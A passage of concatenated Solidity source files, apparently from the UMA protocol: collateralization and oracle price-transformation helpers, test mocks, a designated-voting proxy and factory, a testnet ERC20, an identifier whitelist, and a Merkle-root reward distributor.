function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) {
return
_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral),
positionData.tokensOutstanding
);
}
// Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global
// collateralization ratio.
function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
view
returns (bool)
{
FixedPoint.Unsigned memory global =
_getCollateralizationRatio(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding);
FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens);
return !global.isGreaterThan(thisChange);
}
function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
pure
returns (FixedPoint.Unsigned memory ratio)
{
if (!numTokens.isGreaterThan(0)) {
return FixedPoint.fromUnscaledUint(0);
} else {
return collateral.div(numTokens);
}
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
function _transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
internal
view
returns (FixedPoint.Unsigned memory)
{
if (!address(financialProductLibrary).isContract()) return price;
try financialProductLibrary.transformPrice(price, requestTime) returns (
FixedPoint.Unsigned memory transformedPrice
) {
return transformedPrice;
} catch {
return price;
}
}
function _transformPriceIdentifier(uint256 requestTime) internal view returns (bytes32) {
if (!address(financialProductLibrary).isContract()) return priceIdentifier;
try financialProductLibrary.transformPriceIdentifier(priceIdentifier, requestTime) returns (
bytes32 transformedIdentifier
) {
return transformedIdentifier;
} catch {
return priceIdentifier;
}
}
function _getAncillaryData() internal view returns (bytes memory) {
// Note: when ancillary data is passed to the optimistic oracle, it should be tagged with the token address
// whose funding rate it's trying to get.
return abi.encodePacked(address(tokenCurrency));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ERC20 interface that includes the decimals read only method.
*/
interface IERC20Standard is IERC20 {
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05`
* (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value
* {ERC20} uses, unless {_setupDecimals} is called.
*
* NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic
* of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() external view returns (uint8);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../../common/implementation/FixedPoint.sol";
interface ExpiringContractInterface {
function expirationTimestamp() external view returns (uint256);
}
/**
* @title Financial product library contract
* @notice Provides price and collateral requirement transformation interfaces that can be overridden by custom
* Financial product library implementations.
*/
abstract contract FinancialProductLibrary {
using FixedPoint for FixedPoint.Unsigned;
/**
* @notice Transforms a given oracle price using the financial product libraries transformation logic.
* @param oraclePrice input price returned by the DVM to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedOraclePrice input oraclePrice with the transformation function applied.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
virtual
returns (FixedPoint.Unsigned memory)
{
return oraclePrice;
}
/**
* @notice Transforms a given collateral requirement using the financial product libraries transformation logic.
* @param oraclePrice input price returned by DVM used to transform the collateral requirement.
* @param collateralRequirement input collateral requirement to be transformed.
* @return transformedCollateralRequirement input collateral requirement with the transformation function applied.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view virtual returns (FixedPoint.Unsigned memory) {
return collateralRequirement;
}
/**
* @notice Transforms a given price identifier using the financial product libraries transformation logic.
* @param priceIdentifier input price identifier defined for the financial contract.
* @param requestTime timestamp the identifier is to be used at. EG the time that a price request would be sent using this identifier.
* @return transformedPriceIdentifier input price identifier with the transformation function applied.
*/
function transformPriceIdentifier(bytes32 priceIdentifier, uint256 requestTime)
public
view
virtual
returns (bytes32)
{
return priceIdentifier;
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
// Implements a simple FinancialProductLibrary to test price and collateral requirement transoformations.
contract FinancialProductLibraryTest is FinancialProductLibrary {
FixedPoint.Unsigned public priceTransformationScalar;
FixedPoint.Unsigned public collateralRequirementTransformationScalar;
bytes32 public transformedPriceIdentifier;
bool public shouldRevert;
constructor(
FixedPoint.Unsigned memory _priceTransformationScalar,
FixedPoint.Unsigned memory _collateralRequirementTransformationScalar,
bytes32 _transformedPriceIdentifier
) public {
priceTransformationScalar = _priceTransformationScalar;
collateralRequirementTransformationScalar = _collateralRequirementTransformationScalar;
transformedPriceIdentifier = _transformedPriceIdentifier;
}
// Set the mocked methods to revert to test failed library computation.
function setShouldRevert(bool _shouldRevert) public {
shouldRevert = _shouldRevert;
}
// Create a simple price transformation function that scales the input price by the scalar for testing.
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
returns (FixedPoint.Unsigned memory)
{
require(!shouldRevert, "set to always reverts");
return oraclePrice.mul(priceTransformationScalar);
}
// Create a simple collateral requirement transformation that doubles the input collateralRequirement.
function transformCollateralRequirement(
FixedPoint.Unsigned memory price,
FixedPoint.Unsigned memory collateralRequirement
) public view override returns (FixedPoint.Unsigned memory) {
require(!shouldRevert, "set to always reverts");
return collateralRequirement.mul(collateralRequirementTransformationScalar);
}
// Create a simple transformPriceIdentifier function that returns the transformed price identifier.
function transformPriceIdentifier(bytes32 priceIdentifier, uint256 requestTime)
public
view
override
returns (bytes32)
{
require(!shouldRevert, "set to always reverts");
return transformedPriceIdentifier;
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
contract ExpiringMultiPartyMock is Testable {
using FixedPoint for FixedPoint.Unsigned;
FinancialProductLibrary public financialProductLibrary;
uint256 public expirationTimestamp;
FixedPoint.Unsigned public collateralRequirement;
bytes32 public priceIdentifier;
constructor(
address _financialProductLibraryAddress,
uint256 _expirationTimestamp,
FixedPoint.Unsigned memory _collateralRequirement,
bytes32 _priceIdentifier,
address _timerAddress
) public Testable(_timerAddress) {
expirationTimestamp = _expirationTimestamp;
collateralRequirement = _collateralRequirement;
financialProductLibrary = FinancialProductLibrary(_financialProductLibraryAddress);
priceIdentifier = _priceIdentifier;
}
function transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
public
view
returns (FixedPoint.Unsigned memory)
{
if (address(financialProductLibrary) == address(0)) return price;
try financialProductLibrary.transformPrice(price, requestTime) returns (
FixedPoint.Unsigned memory transformedPrice
) {
return transformedPrice;
} catch {
return price;
}
}
function transformCollateralRequirement(FixedPoint.Unsigned memory price)
public
view
returns (FixedPoint.Unsigned memory)
{
if (address(financialProductLibrary) == address(0)) return collateralRequirement;
try financialProductLibrary.transformCollateralRequirement(price, collateralRequirement) returns (
FixedPoint.Unsigned memory transformedCollateralRequirement
) {
return transformedCollateralRequirement;
} catch {
return collateralRequirement;
}
}
function transformPriceIdentifier(uint256 requestTime) public view returns (bytes32) {
if (address(financialProductLibrary) == address(0)) return priceIdentifier;
try financialProductLibrary.transformPriceIdentifier(priceIdentifier, requestTime) returns (
bytes32 transformedIdentifier
) {
return transformedIdentifier;
} catch {
return priceIdentifier;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/VotingAncillaryInterface.sol";
// A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain ancillary data.
abstract contract VotingAncillaryInterfaceTesting is OracleAncillaryInterface, VotingAncillaryInterface, Testable {
using FixedPoint for FixedPoint.Unsigned;
// Events, data structures and functions not exported in the base interfaces, used for testing.
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
function rounds(uint256 roundId) public view virtual returns (Round memory);
function getPriceRequestStatuses(VotingAncillaryInterface.PendingRequestAncillary[] memory requests)
public
view
virtual
returns (RequestState[] memory);
function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/Withdrawable.sol";
import "../interfaces/VotingAncillaryInterface.sol";
import "../interfaces/FinderInterface.sol";
import "./Constants.sol";
/**
* @title Proxy to allow voting from another address.
* @dev Allows a UMA token holder to designate another address to vote on their behalf.
* Each voter must deploy their own instance of this contract.
*/
contract DesignatedVoting is Withdrawable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // Can set the Voter role. Is also permanently permissioned as the minter role.
Voter // Can vote through this contract.
}
// Reference to the UMA Finder contract, allowing Voting upgrades to be performed
// without requiring any calls to this contract.
FinderInterface private finder;
/**
* @notice Construct the DesignatedVoting contract.
* @param finderAddress keeps track of all contracts within the system based on their interfaceName.
* @param ownerAddress address of the owner of the DesignatedVoting contract.
* @param voterAddress address to which the owner has delegated their voting power.
*/
constructor(
address finderAddress,
address ownerAddress,
address voterAddress
) public {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), ownerAddress);
_createExclusiveRole(uint256(Roles.Voter), uint256(Roles.Owner), voterAddress);
_setWithdrawRole(uint256(Roles.Owner));
finder = FinderInterface(finderAddress);
}
/****************************************
* VOTING AND REWARD FUNCTIONALITY *
****************************************/
/**
* @notice Forwards a commit to Voting.
* @param identifier uniquely identifies the feed for this vote. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param hash the keccak256 hash of the price you want to vote for and a random integer salt value.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) external onlyRoleHolder(uint256(Roles.Voter)) {
_getVotingAddress().commitVote(identifier, time, ancillaryData, hash);
}
/**
* @notice Forwards a batch commit to Voting.
* @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(VotingAncillaryInterface.CommitmentAncillary[] calldata commits)
external
onlyRoleHolder(uint256(Roles.Voter))
{
_getVotingAddress().batchCommit(commits);
}
/**
* @notice Forwards a reveal to Voting.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param price used along with the `salt` to produce the `hash` during the commit phase.
* @param salt used along with the `price` to produce the `hash` during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) external onlyRoleHolder(uint256(Roles.Voter)) {
_getVotingAddress().revealVote(identifier, time, price, ancillaryData, salt);
}
/**
* @notice Forwards a batch reveal to Voting.
* @param reveals is an array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(VotingAncillaryInterface.RevealAncillary[] calldata reveals)
external
onlyRoleHolder(uint256(Roles.Voter))
{
_getVotingAddress().batchReveal(reveals);
}
/**
* @notice Forwards a reward retrieval to Voting.
* @dev Rewards are added to the tokens already held by this contract.
* @param roundId defines the round from which voting rewards will be retrieved from.
* @param toRetrieve an array of PendingRequests which rewards are retrieved from.
* @return amount of rewards that the user should receive.
*/
function retrieveRewards(uint256 roundId, VotingAncillaryInterface.PendingRequestAncillary[] memory toRetrieve)
public
onlyRoleHolder(uint256(Roles.Voter))
returns (FixedPoint.Unsigned memory)
{
return _getVotingAddress().retrieveRewards(address(this), roundId, toRetrieve);
}
function _getVotingAddress() private view returns (VotingAncillaryInterface) {
return VotingAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Withdrawable.sol";
import "./DesignatedVoting.sol";
/**
* @title Factory to deploy new instances of DesignatedVoting and look up previously deployed instances.
* @dev Allows off-chain infrastructure to look up a hot wallet's deployed DesignatedVoting contract.
*/
contract DesignatedVotingFactory is Withdrawable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Withdrawer // Can withdraw any ETH or ERC20 sent accidentally to this contract.
}
address private finder;
mapping(address => DesignatedVoting) public designatedVotingContracts;
/**
* @notice Construct the DesignatedVotingFactory contract.
* @param finderAddress keeps track of all contracts within the system based on their interfaceName.
*/
constructor(address finderAddress) public {
finder = finderAddress;
_createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Withdrawer), msg.sender);
}
/**
* @notice Deploys a new `DesignatedVoting` contract.
* @param ownerAddress defines who will own the deployed instance of the designatedVoting contract.
* @return designatedVoting a new DesignatedVoting contract.
*/
function newDesignatedVoting(address ownerAddress) external returns (DesignatedVoting) {
DesignatedVoting designatedVoting = new DesignatedVoting(finder, ownerAddress, msg.sender);
designatedVotingContracts[msg.sender] = designatedVoting;
return designatedVoting;
}
/**
* @notice Associates a `DesignatedVoting` instance with `msg.sender`.
* @param designatedVotingAddress address to designate voting to.
* @dev This is generally only used if the owner of a `DesignatedVoting` contract changes their `voter`
* address and wants that reflected here.
*/
function setDesignatedVoting(address designatedVotingAddress) external {
designatedVotingContracts[msg.sender] = DesignatedVoting(designatedVotingAddress);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Withdrawable.sol";
// WithdrawableTest is derived from the abstract contract Withdrawable for testing purposes.
contract WithdrawableTest is Withdrawable {
enum Roles { Governance, Withdraw }
// solhint-disable-next-line no-empty-blocks
constructor() public {
_createExclusiveRole(uint256(Roles.Governance), uint256(Roles.Governance), msg.sender);
_createWithdrawRole(uint256(Roles.Withdraw), uint256(Roles.Governance), msg.sender);
}
function pay() external payable {
require(msg.value > 0);
}
function setInternalWithdrawRole(uint256 setRoleId) public {
_setWithdrawRole(setRoleId);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/**
* @title An implementation of ERC20 with the same interface as the Compound project's testnet tokens (mainly DAI)
* @dev This contract can be deployed or the interface can be used to communicate with Compound's ERC20 tokens. Note:
* this token should never be used to store real value since it allows permissionless minting.
*/
contract TestnetERC20 is ERC20 {
/**
* @notice Constructs the TestnetERC20.
* @param _name The name which describes the new token.
* @param _symbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param _decimals The number of decimals to define token precision.
*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) public ERC20(_name, _symbol) {
_setupDecimals(_decimals);
}
// Sample token information.
/**
* @notice Mints value tokens to the owner address.
* @param ownerAddress the address to mint to.
* @param value the amount of tokens to mint.
*/
function allocateTo(address ownerAddress, uint256 value) external {
_mint(ownerAddress, value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/IdentifierWhitelistInterface.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Stores a whitelist of supported identifiers that the oracle can provide prices for.
*/
contract IdentifierWhitelist is IdentifierWhitelistInterface, Ownable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
mapping(bytes32 => bool) private supportedIdentifiers;
/****************************************
* EVENTS *
****************************************/
event SupportedIdentifierAdded(bytes32 indexed identifier);
event SupportedIdentifierRemoved(bytes32 indexed identifier);
/****************************************
* ADMIN STATE MODIFYING FUNCTIONS *
****************************************/
/**
* @notice Adds the provided identifier as a supported identifier.
* @dev Price requests using this identifier will succeed after this call.
* @param identifier unique UTF-8 representation for the feed being added. Eg: BTC/USD.
*/
function addSupportedIdentifier(bytes32 identifier) external override onlyOwner {
if (!supportedIdentifiers[identifier]) {
supportedIdentifiers[identifier] = true;
emit SupportedIdentifierAdded(identifier);
}
}
/**
* @notice Removes the identifier from the whitelist.
* @dev Price requests using this identifier will no longer succeed after this call.
* @param identifier unique UTF-8 representation for the feed being removed. Eg: BTC/USD.
*/
function removeSupportedIdentifier(bytes32 identifier) external override onlyOwner {
if (supportedIdentifiers[identifier]) {
supportedIdentifiers[identifier] = false;
emit SupportedIdentifierRemoved(identifier);
}
}
/****************************************
* WHITELIST GETTERS FUNCTIONS *
****************************************/
/**
* @notice Checks whether an identifier is on the whitelist.
* @param identifier unique UTF-8 representation for the feed being queried. Eg: BTC/USD.
* @return bool if the identifier is supported (or not).
*/
function isIdentifierSupported(bytes32 identifier) external view override returns (bool) {
return supportedIdentifiers[identifier];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/AdministrateeInterface.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Admin for financial contracts in the UMA system.
* @dev Allows appropriately permissioned admin roles to interact with financial contracts.
*/
contract FinancialContractsAdmin is Ownable {
/**
* @notice Calls emergency shutdown on the provided financial contract.
* @param financialContract address of the FinancialContract to be shut down.
*/
function callEmergencyShutdown(address financialContract) external onlyOwner {
AdministrateeInterface administratee = AdministrateeInterface(financialContract);
administratee.emergencyShutdown();
}
/**
* @notice Calls remargin on the provided financial contract.
* @param financialContract address of the FinancialContract to be remargined.
*/
function callRemargin(address financialContract) external onlyOwner {
AdministrateeInterface administratee = AdministrateeInterface(financialContract);
administratee.remargin();
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../interfaces/AdministrateeInterface.sol";
// A mock implementation of AdministrateeInterface, taking the place of a financial contract.
contract MockAdministratee is AdministrateeInterface {
uint256 public timesRemargined;
uint256 public timesEmergencyShutdown;
function remargin() external override {
timesRemargined++;
}
function emergencyShutdown() external override {
timesEmergencyShutdown++;
}
function pfc() external view override returns (FixedPoint.Unsigned memory) {
return FixedPoint.fromUnscaledUint(0);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* Inspired by:
* - https://github.com/pie-dao/vested-token-migration-app
* - https://github.com/Uniswap/merkle-distributor
* - https://github.com/balancer-labs/erc20-redeemable
*
* @title MerkleDistributor contract.
* @notice Allows an owner to distribute any reward ERC20 to claimants according to Merkle roots. The owner can specify
* multiple Merkle roots distributions with customized reward currencies.
* @dev The Merkle trees are not validated in any way, so the system assumes the contract owner behaves honestly.
*/
contract MerkleDistributor is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// A Window maps a Merkle root to a reward token address.
struct Window {
// Merkle root describing the distribution.
bytes32 merkleRoot;
// Currency in which reward is processed.
IERC20 rewardToken;
// IPFS hash of the merkle tree. Can be used to independently fetch recipient proofs and tree. Note that the canonical
// data type for storing an IPFS hash is a multihash which is the concatenation of <varint hash function code>
// <varint digest size in bytes><hash function output>. We opted to store this in a string type to make it easier
// for users to query the ipfs data without needing to reconstruct the multihash. to view the IPFS data simply
// go to https://cloudflare-ipfs.com/ipfs/<IPFS-HASH>.
string ipfsHash;
}
// Represents an account's claim for `amount` within the Merkle root located at the `windowIndex`.
struct Claim {
uint256 windowIndex;
uint256 amount;
uint256 accountIndex; // Used only for bitmap. Assumed to be unique for each claim.
address account;
bytes32[] merkleProof;
}
// Windows are mapped to arbitrary indices.
mapping(uint256 => Window) public merkleWindows;
// Index of next created Merkle root.
uint256 public nextCreatedIndex;
// Track which accounts have claimed for each window index.
// Note: uses a packed array of bools for gas optimization on tracking certain claims. Copied from Uniswap's contract.
mapping(uint256 => mapping(uint256 => uint256)) private claimedBitMap;
/****************************************
* EVENTS
****************************************/
event Claimed(
address indexed caller,
uint256 windowIndex,
address indexed account,
uint256 accountIndex,
uint256 amount,
address indexed rewardToken
);
event CreatedWindow(
uint256 indexed windowIndex,
uint256 rewardsDeposited,
address indexed rewardToken,
address owner
);
event WithdrawRewards(address indexed owner, uint256 amount, address indexed currency);
event DeleteWindow(uint256 indexed windowIndex, address owner);
/****************************
* ADMIN FUNCTIONS
****************************/
/**
* @notice Set merkle root for the next available window index and seed allocations.
* @notice Callable only by owner of this contract. Caller must have approved this contract to transfer
* `rewardsToDeposit` amount of `rewardToken` or this call will fail. Importantly, we assume that the
* owner of this contract correctly chooses an amount `rewardsToDeposit` that is sufficient to cover all
* claims within the `merkleRoot`. Otherwise, a race condition can be created. This situation can occur
* because we do not segregate reward balances by window, for code simplicity purposes.
* (If `rewardsToDeposit` is purposefully insufficient to payout all claims, then the admin must
* subsequently transfer in rewards or the following situation can occur).
* Example race situation:
* - Window 1 Tree: Owner sets `rewardsToDeposit=100` and insert proofs that give claimant A 50 tokens and
* claimant B 51 tokens. The owner has made an error by not setting the `rewardsToDeposit` correctly to 101.
* - Window 2 Tree: Owner sets `rewardsToDeposit=1` and insert proofs that give claimant A 1 token. The owner
* correctly set `rewardsToDeposit` this time.
* - At this point contract owns 100 + 1 = 101 tokens. Now, imagine the following sequence:
* (1) Claimant A claims 50 tokens for Window 1, contract now has 101 - 50 = 51 tokens.
* (2) Claimant B claims 51 tokens for Window 1, contract now has 51 - 51 = 0 tokens.
* (3) Claimant A tries to claim 1 token for Window 2 but fails because contract has 0 tokens.
* - In summary, the contract owner created a race for step(2) and step(3) in which the first claim would
* succeed and the second claim would fail, even though both claimants would expect their claims to succeed.
* @param rewardsToDeposit amount of rewards to deposit to seed this allocation.
* @param rewardToken ERC20 reward token.
* @param merkleRoot merkle root describing allocation.
* @param ipfsHash hash of IPFS object, conveniently stored for clients
*/
function setWindow(
uint256 rewardsToDeposit,
address rewardToken,
bytes32 merkleRoot,
string memory ipfsHash
) external onlyOwner {
uint256 indexToSet = nextCreatedIndex;
nextCreatedIndex = indexToSet.add(1);
_setWindow(indexToSet, rewardsToDeposit, rewardToken, merkleRoot, ipfsHash);
}
/**
* @notice Delete merkle root at window index.
* @dev Callable only by owner. Likely to be followed by a withdrawRewards call to clear contract state.
* @param windowIndex merkle root index to delete.
*/
function deleteWindow(uint256 windowIndex) external onlyOwner {
delete merkleWindows[windowIndex];
emit DeleteWindow(windowIndex, msg.sender);
}
/**
* @notice Emergency method that transfers rewards out of the contract if the contract was configured improperly.
* @dev Callable only by owner.
* @param rewardCurrency rewards to withdraw from contract.
* @param amount amount of rewards to withdraw.
*/
function withdrawRewards(address rewardCurrency, uint256 amount) external onlyOwner {
IERC20(rewardCurrency).safeTransfer(msg.sender, amount);
emit WithdrawRewards(msg.sender, amount, rewardCurrency);
}
/****************************
* NON-ADMIN FUNCTIONS
****************************/
/**
* @notice Batch claims to reduce gas versus individual submitting all claims. Method will fail
* if any individual claims within the batch would fail.
* @dev Optimistically tries to batch together consecutive claims for the same account and same
* reward token to reduce gas. Therefore, the most gas-cost-optimal way to use this method
* is to pass in an array of claims sorted by account and reward currency.
* @param claims array of claims to claim.
*/
function claimMulti(Claim[] memory claims) external {
uint256 batchedAmount = 0;
uint256 claimCount = claims.length;
for (uint256 i = 0; i < claimCount; i++) {
Claim memory _claim = claims[i];
_verifyAndMarkClaimed(_claim);
batchedAmount = batchedAmount.add(_claim.amount);
// If the next claim is NOT the same account or the same token (or this claim is the last one),
// then disburse the `batchedAmount` to the current claim's account for the current claim's reward token.
uint256 nextI = i + 1;
address currentRewardToken = address(merkleWindows[_claim.windowIndex].rewardToken);
if (
nextI == claimCount ||
// This claim is last claim.
claims[nextI].account != _claim.account ||
// Next claim account is different than current one.
address(merkleWindows[claims[nextI].windowIndex].rewardToken) != currentRewardToken
// Next claim reward token is different than current one.
) {
IERC20(currentRewardToken).safeTransfer(_claim.account, batchedAmount);
batchedAmount = 0;
}
}
}
/**
* @notice Claim amount of reward tokens for account, as described by Claim input object.
* @dev If the `_claim`'s `amount`, `accountIndex`, and `account` do not exactly match the
* values stored in the merkle root for the `_claim`'s `windowIndex` this method
* will revert.
* @param _claim claim object describing amount, accountIndex, account, window index, and merkle proof.
*/
function claim(Claim memory _claim) public {
_verifyAndMarkClaimed(_claim);
merkleWindows[_claim.windowIndex].rewardToken.safeTransfer(_claim.account, _claim.amount);
}
/**
* @notice Returns True if the claim for `accountIndex` has already been completed for the Merkle root at
* `windowIndex`.
* @dev This method will only work as intended if all `accountIndex`'s are unique for a given `windowIndex`.
* The onus is on the Owner of this contract to submit only valid Merkle roots.
* @param windowIndex merkle root to check.
* @param accountIndex account index to check within window index.
* @return True if claim has been executed already, False otherwise.
*/
function isClaimed(uint256 windowIndex, uint256 accountIndex) public view returns (bool) {
uint256 claimedWordIndex = accountIndex / 256;
uint256 claimedBitIndex = accountIndex % 256;
uint256 claimedWord = claimedBitMap[windowIndex][claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
/**
* @notice Returns True if leaf described by {account, amount, accountIndex} is stored in Merkle root at given
* window index.
* @param _claim claim object describing amount, accountIndex, account, window index, and merkle proof.
* @return valid True if leaf exists.
*/
function verifyClaim(Claim memory _claim) public view returns (bool valid) {
bytes32 leaf = keccak256(abi.encodePacked(_claim.account, _claim.amount, _claim.accountIndex));
return MerkleProof.verify(_claim.merkleProof, merkleWindows[_claim.windowIndex].merkleRoot, leaf);
}
/****************************
* PRIVATE FUNCTIONS
****************************/
// Mark claim as completed for `accountIndex` for Merkle root at `windowIndex`.
function _setClaimed(uint256 windowIndex, uint256 accountIndex) private {
uint256 claimedWordIndex = accountIndex / 256;
uint256 claimedBitIndex = accountIndex % 256;
claimedBitMap[windowIndex][claimedWordIndex] =
claimedBitMap[windowIndex][claimedWordIndex] |
(1 << claimedBitIndex);
}
// Store new Merkle root at `windowindex`. Pull `rewardsDeposited` from caller to seed distribution for this root.
function _setWindow(
uint256 windowIndex,
uint256 rewardsDeposited,
address rewardToken,
bytes32 merkleRoot,
string memory ipfsHash
) private {
Window storage window = merkleWindows[windowIndex];
window.merkleRoot = merkleRoot;
window.rewardToken = IERC20(rewardToken);
window.ipfsHash = ipfsHash;
emit CreatedWindow(windowIndex, rewardsDeposited, rewardToken, msg.sender);
window.rewardToken.safeTransferFrom(msg.sender, address(this), rewardsDeposited);
}
// Verify claim is valid and mark it as completed in this contract.
function _verifyAndMarkClaimed(Claim memory _claim) private {
// Check claimed proof against merkle window at given index.
require(verifyClaim(_claim), "Incorrect merkle proof");
// Check the account has not yet claimed for this window.
require(!isClaimed(_claim.windowIndex, _claim.accountIndex), "Account has already claimed for this window");
// Proof is correct and claim has not occurred yet, mark claimed complete.
_setClaimed(_claim.windowIndex, _claim.accountIndex);
emit Claimed(
msg.sender,
_claim.windowIndex,
_claim.account,
_claim.accountIndex,
_claim.amount,
address(merkleWindows[_claim.windowIndex].rewardToken)
);
}
}
pragma solidity ^0.6.0;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/FixedPoint.sol";
